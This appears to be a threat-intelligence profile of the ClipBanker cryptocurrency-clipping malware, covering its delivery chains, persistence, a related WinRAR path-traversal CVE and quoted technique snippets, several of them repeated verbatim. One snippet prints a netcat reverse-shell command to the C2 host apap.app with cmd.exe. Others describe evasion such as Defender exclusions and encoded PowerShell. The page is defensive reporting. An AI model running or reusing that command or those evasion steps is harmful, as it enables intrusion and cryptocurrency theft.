Loading malware…
ClipBanker is a Windows malware family focused on cryptocurrency theft through clipboard hijacking. Its core behavior is to monitor the victim’s clipboard for cryptocurrency wallet addresses and silently replace them with attacker-controlled addresses, redirecting transactions when a user pastes the copied destination. Multiple variants support numerous blockchain address formats, and some campaigns have targeted more than two dozen cryptocurrency ecosystems.
ClipBanker is commonly classified as a Trojan or banking Trojan in industry reporting, although its most distinctive function is crypto-focused clipboard substitution rather than traditional online-banking web injection. Some analyses also describe broader information-stealing or spyware-like behavior in specific campaigns, including theft of browser data, cookies, messaging data, or other user information, but the consistently corroborated capability across reporting is cryptocurrency wallet address replacement.
The malware is frequently delivered as a secondary payload by other malware families and loaders, including CryptBot, LummaStealer, DarkCloud, Recordbreaker Stealer, CountLoader, Emmenhtal Loader, and other commodity distribution chains. It has also appeared in fake software installers, cracked-software ecosystems, trojanized downloads hosted on code-sharing or software-hosting platforms, spam and phishing campaigns, and ClickFix-style social-engineering chains that abuse Windows scripting utilities such as MSHTA and PowerShell. In some observed cases, malicious archives exploiting WinRAR path traversal involving alternate data streams were used to place a ClipBanker payload into the Startup folder.
Observed execution chains show substantial variation. Some variants are simple standalone clipboard monitors with little or no networking and no persistence. Others are embedded in multi-stage intrusions that use process injection, fileless PowerShell, scheduled tasks, registry-based persistence, Startup-folder placement, or Task Scheduler masquerading to maintain execution and evade detection. Reported injection targets have included legitimate Windows processes, and some campaigns added Microsoft Defender exclusions or used LOLBins to reduce visibility.
ClipBanker has been associated with financially motivated cybercrime activity rather than a single exclusive threat actor. It has been observed alongside commodity stealers, remote-access tools, and loaders in broad criminal ecosystems targeting cryptocurrency users worldwide. Telemetry and incident reporting indicate especially frequent use in fake software-download and cracked-software campaigns, as well as in opportunistic phishing and social-engineering operations. Consumer users seeking pirated or unofficial software, as well as organizations with weak user awareness or monitoring, have both appeared among victims.
The malware primarily targets Windows systems and is notable for its prevalence in financial-malware telemetry. In 2024, it was reported as one of the most prominent PC financial malware families, reflecting the continued profitability of clipboard-based cryptocurrency theft despite the relative simplicity of many variants.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
In this blog post, I’ll be diving into the technical details of the WinRAR vulnerability, identified as CVE-2025-8088. This vulnerability carries a high severity score of 8.4 and affects WinRAR on Windows operating systems due to a path traversal flaw. | RAR Sample with Clipbanker Malware The RAR archive contains text files and an Alternate Data Stream (ADS) linked to a Clipbanker executable. Upon extraction, the Clipbanker executable is placed in the Startup folder.
32 distinct techniques documented for this family, organized by ATT&CK tactic.
It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.
It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.
Since June 17th, the C2s have been responding with settings value that downloads and runs additional malware besides libraries that will be used to steal information.
The ClipBanker uses PowerShell commands for executing malicious activities.
It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.
It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.
The second part of the command sets a new value to the “ HKCU\Sofatwarte\cr” registry key
CreateProcess : this function allows the attacker to create a new process and its primary thread.
Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter
Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds... The handler executes the following command: ShellExperienceHost . exe -- ssl apap . app 445 - e cmd . exe
It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.
It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.
CreateProcess : this function allows the attacker to create a new process and its primary thread.
Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter
Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds... The handler executes the following command: ShellExperienceHost . exe -- ssl apap . app 445 - e cmd . exe
This vulnerability carries a high severity score of 8.4 and affects WinRAR on Windows operating systems due to a path traversal flaw.
The PowerShell command had ran with the following parameters: ... -e – EncodedCommand, allow to encode the command with base 64 format.
Attackers use the file pumping technique to inflate the file size by appending junk data. The file in question was padded with null bytes.
Moreover, the attacker tried to masquerade it with a legitimate name of “ GoogleChromUpdateTask”
The main purpose of this second trojan is to execute a malicious PowerShell command by running CMD.exe.
The final API function that we have covered in this section is the GetUserName function that can be used by the attacker for enumeration and discovering actions.
The Clipbanker executable establishes a connection to the attacker’s Telegram server.
It also downloads and installs additional malware. The malware that is additionally downloaded is usually ClipBanker, but there have also been cases of other types of malware being distributed such as Formbook and SmokeLoader.
ShellExperienceHost.exe is the netcat executable from the malicious archive. The arguments above make the utility establish an encrypted connection with the C2 server apap[.]app on port 445 and launch a command-line interpreter with redirected input/output through that connection.
68 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
20 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
ClipBanker is referenced through a variant-associated malicious DLL, indicating clipboard hijacking or theft-oriented behavior in the broader payload set.
Crypto-stealing malware mentioned only in related content.
Стилер, обнаруженный на рабочей станции пользователя; закреплялся через реестр Windows, добавлялся в исключения Защитника Windows и маскировался атрибутами hidden/system.
A data stealer variant observed persisting via a Windows Run registry key after adding its folder to Windows Defender exclusions and hiding the file with hidden/system attributes.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.